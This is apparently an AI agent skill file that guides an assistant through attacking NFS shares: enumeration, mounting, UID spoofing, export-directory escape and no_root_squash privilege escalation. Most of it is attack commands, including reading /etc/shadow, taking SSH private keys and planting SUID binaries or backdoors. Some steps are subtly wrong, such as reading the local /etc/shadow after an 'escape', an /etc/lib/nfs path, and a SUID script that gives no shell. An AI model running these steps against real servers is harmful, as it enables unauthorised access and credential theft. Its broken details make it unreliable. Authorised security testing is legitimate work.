nfs-pentesting

name	nfs-pentesting
description	Pentest NFS (Network File System) services on port 2049. Use this skill whenever the user mentions NFS, network file sharing, port 2049, showmount, nfs exports, or needs to enumerate/mount/exploit NFS shares. This skill helps with NFS enumeration, mounting shares, exploiting misconfigurations like no_root_squash, escaping export directories, and privilege escalation via NFS.

NFS Pentesting Skill

A comprehensive guide for pentesting NFS (Network File System) services, covering enumeration, exploitation, and privilege escalation techniques.

When to Use This Skill

Use this skill when:

• You need to enumerate NFS shares on a target
• You want to mount NFS shares for access
• You're investigating NFS misconfigurations
• You need to exploit NFS for privilege escalation
• Port 2049 is open on a target
• The user mentions NFS, showmount, nfs exports, or network file sharing

Quick Reference

# Basic enumeration
showmount -e <IP>
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Mount a share
mount -t nfs -o vers=2 <IP>:/share /mnt/local -o nolock

# Check for dangerous configurations
nfs_analyze <IP>

NFS Basics

What is NFS?

NFS (Network File System) is a client/server protocol that enables users to access files over a network as if they were local. Key characteristics:

• Default port: 2049/TCP/UDP
• Authentication: Typically relies on UNIX UID/GID identifiers
• Security concern: Client-provided user information is trusted by the server
• Root impersonation: By default, UID 0 (root) is squashed to prevent root access

NFS Versions

Version	Characteristics
NFSv2	Oldest, UDP-based, no authentication/authorization
NFSv3	Enhanced error reporting, variable file sizes
NFSv4	Kerberos support, firewall-friendly, stateful, ACL support

Important: NFSv2 is preferred for pentesting due to lack of authentication requirements.

Squashing Behavior

Setting	Effect
all_squash	All users mapped to nobody (UID 65534)
root_squash	Default - only UID 0 squashed to nobody
no_root_squash	Root access preserved - DANGEROUS

Enumeration

Step 1: Basic Enumeration with showmount

# List available exports
showmount -e <IP>

# List all information
showmount <IP>

Example output:

Export list for 10.12.0.150:
/backup 192.168.0.0/24
/home 10.0.0.0/8

Step 2: Nmap Scripts

# Comprehensive NFS enumeration
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>

# Individual scripts
nmap --script=nfs-ls -p 2049 <IP>           # List exports and permissions
nmap --script=nfs-showmount -p 2049 <IP>    # Like showmount -e
nmap --script=nfs-statfs -p 2049 <IP>       # Disk statistics

Step 3: Advanced Analysis with nfs_analyze

The nfs_analyze tool from hvs-consulting/nfs-security-tooling provides comprehensive analysis:

# Install
pip install nfs-security-tooling

# Run analysis
nfs_analyze <IP>

This tool checks for:

• Available mounts
• Supported NFS versions
• Connected IPs
• Export escape possibilities
• no_root_squash configuration

Step 4: Metasploit Scanner

# In msfconsole
use scanner/nfs/nfsmount
set RHOSTS <IP>
run

Mounting NFS Shares

Basic Mount

# Create local mount point
mkdir -p /mnt/nfs_target

# Mount the share (prefer NFSv2 for pentesting)
mount -t nfs -o vers=2 <IP>:/remote/path /mnt/nfs_target -o nolock

# Example
mount -t nfs -o vers=2 10.12.0.150:/backup /mnt/nfs_target -o nolock

Mount Options Explained

Option	Purpose
-t nfs	Specify NFS filesystem type
-o vers=2	Use NFSv2 (no authentication)
-o nolock	Disable locking (useful for pentesting)
-o rsize=32768,wsize=32768	Optimize transfer size

Verify Mount

# Check mounted filesystems
mount | grep nfs

# List NFS mounts
showmount -a <IP>

Exploitation Techniques

Technique 1: UID/GID Impersonation

NFS trusts client-provided UID/GID values. Exploit this by:

1. Identify target file ownership:

   ls -la /mnt/nfs_target/
   # Note the UID of files you want to access
   

2. Create local user with matching UID:

   # If file is owned by UID 1001
   useradd -u 1001 pentest_user
   su - pentest_user
   

3. Access the files:

   cd /mnt/nfs_target/
   # Now you can access files owned by UID 1001
   

Technique 2: Using fuse_nfs

The fuse_nfs tool automatically sends the correct UID/GID:

# Install
pip install nfs-security-tooling

# Use fuse_nfs to access files
fuse_nfs <IP>:/export /mnt/local

Technique 3: Export Directory Escape

If subtree_check is disabled (default on Linux), you can escape the export directory:

# If /srv is exported but /var is on same filesystem
cd /mnt/nfs_target/
cd ../../var/log/    # Escape to /var/log

# Read sensitive files
cat /etc/shadow
cat /var/log/auth.log

Why this works:

• /etc/shadow is owned by root:shadow (GID 42 on Debian)
• Only UID 0 is squashed by default
• Group access is not restricted

Technique 4: no_root_squash Exploitation

If no_root_squash is enabled:

# Mount as root
mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock

# You now have root access to the share
cd /mnt/nfs_target/
# Create SUID binaries, modify files, etc.

Technique 5: Using NFSShell

NFSShell simplifies NFS exploitation:

# Install
git clone https://github.com/NetDirect/nfsshell
cd nfsshell
python3 nfsshell.py

# Usage
nfsshell <IP>:/export

Features:

• Easy listing and mounting
• UID/GID manipulation
• File access automation

Privilege Escalation

Via no_root_squash

1. Mount with root access:

   mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock
   

2. Create SUID binary:

   cp /bin/bash /mnt/nfs_target/bash_suid
   chmod 4755 /mnt/nfs_target/bash_suid
   

3. Execute from target:

   # On the NFS server
   /mnt/nfs_target/bash_suid -p
   

Via UID Matching

1. Find high-privilege files:

   find /mnt/nfs_target -uid 0 -type f 2>/dev/null
   

2. Match UID locally:

   useradd -u 0 root_clone  # If no_root_squash
   # Or match specific UID
   useradd -u 1000 target_user
   

3. Access and modify:

   su - target_user
   # Modify files, create backdoors, etc.
   

Dangerous NFS Settings

Setting	Risk	Detection
rw	Read/write access	Check exports
insecure	Allows ports >1024	Check exports
no_root_squash	Root access preserved	nfs_analyze
no_all_squash	All UIDs preserved	nfs_analyze
nohide	Nested FS visible	Check exports
subtree_check disabled	Export escape possible	nfs_analyze

Configuration Files

On the NFS server, check:

# Main exports configuration
/etc/exports

# NFS state information
/etc/lib/nfs/etab

Common Attack Scenarios

Scenario 1: Initial Access via NFS

# 1. Enumerate
showmount -e 10.10.10.180

# 2. Mount
mkdir -p /mnt/nfs
mount -t nfs -o vers=2 10.10.10.180:/home /mnt/nfs -o nolock

# 3. Check file ownership
ls -la /mnt/nfs/

# 4. Match UID if needed
useradd -u 1000 pentest
su - pentest

# 5. Access files
cd /mnt/nfs/
cat .ssh/id_rsa

Scenario 2: Privilege Escalation

# 1. Check for no_root_squash
nfs_analyze 10.10.10.180

# 2. If enabled, mount as root
mount -t nfs -o vers=2 10.10.10.180:/share /mnt/nfs -o nolock

# 3. Create SUID binary
echo '#!/bin/bash' > /mnt/nfs/shell
chmod 4755 /mnt/nfs/shell

# 4. Trigger from target
# (requires access to target system)

Scenario 3: Export Escape

# 1. Mount exported directory
mount -t nfs -o vers=2 10.10.10.180:/srv /mnt/nfs -o nolock

# 2. Escape to parent filesystem
cd /mnt/nfs/../../etc/

# 3. Read sensitive files
cat shadow
cat passwd

# 4. Check for writable directories
find /mnt/nfs/../../var -writable 2>/dev/null

Tools Summary

Tool	Purpose	Installation
showmount	Basic enumeration	apt install nfs-common
nmap scripts	Advanced enumeration	Built-in
nfs_analyze	Comprehensive analysis	pip install nfs-security-tooling
fuse_nfs	UID/GID manipulation	pip install nfs-security-tooling
nfsshell	Interactive exploitation	git clone
Metasploit	Automated scanning	Built-in

Best Practices

1. Always try NFSv2 first - No authentication required
2. Check for no_root_squash - Most impactful misconfiguration
3. Test export escape - Default on Linux
4. Match UIDs - Access files owned by specific users
5. Use nfs_analyze - Comprehensive vulnerability detection
6. Document findings - Track which techniques worked

References

• NFS Security Tooling
• NFSShell
• NFS Security Article
• NFSShell Tutorial